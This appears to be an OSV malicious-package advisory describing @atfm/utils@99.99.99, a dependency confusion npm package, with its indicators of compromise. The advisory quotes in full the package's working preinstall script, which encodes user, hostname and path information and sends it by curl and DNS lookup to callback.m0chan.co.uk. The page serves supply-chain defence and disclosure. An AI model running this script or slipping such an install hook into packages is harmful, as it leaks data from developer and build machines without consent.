MAL-2026-18602

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@atfm/utils/MAL-2026-18602.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-18602
Published
2026-10-30T16:30:00Z
Modified
2026-11-04T06:00:05Z
Summary
Malicious code in @atfm/utils (npm)
Details

@atfm/utils@99.99.99 is a dependency confusion package: it uses an inflated version under the @atfm scope so that a build resolving an internal @atfm package of the same name picks the public one instead. Its package.json declares a preinstall script that runs on npm install. The script base64-encodes the installing user, hostname, current working directory and package name and sends them to a subdomain of callback.m0chan.co.uk in two ways: an HTTPS GET with the encoded data in the URL path, and a DNS lookup with the encoded package name as a subdomain label. The preinstall script is:

b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm_package_name" | base64 -w0); pkgsub=$(printf '%s' "$npm_package_name" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_package_name" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk

The same script appears in @atfm/utils and @atfm/atfm-material-ui, both at 99.99.99, and in other packages already listed in this database that call back to callback.m0chan.co.uk. Both @atfm packages have since been removed from npm.

Database specific 
{
    "iocs": {
        "domains": [
            "callback.m0chan.co.uk"
        ],
        "files": [
            {
                "digests": {
                    "sha256": "2d9cfbf5205038a670b9e5866f5614a0f06462d960ead7e71c13b163ff394300"
                },
                "note": "Declares the preinstall script that sends user, host and path information to callback.m0chan.co.uk.",
                "paths": [
                    "package.json"
                ],
                "source": "PACKAGE_ARCHIVE"
            }
        ]
    }
}
Credits

Affected packages

npm / @atfm/utils

Package

Name
@atfm/utils
View open source insights on deps.dev
Purl
pkg:npm/%40atfm/utils

Affected ranges

Affected versions

99.*
99.99.99

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@atfm/utils/MAL-2026-18602.json"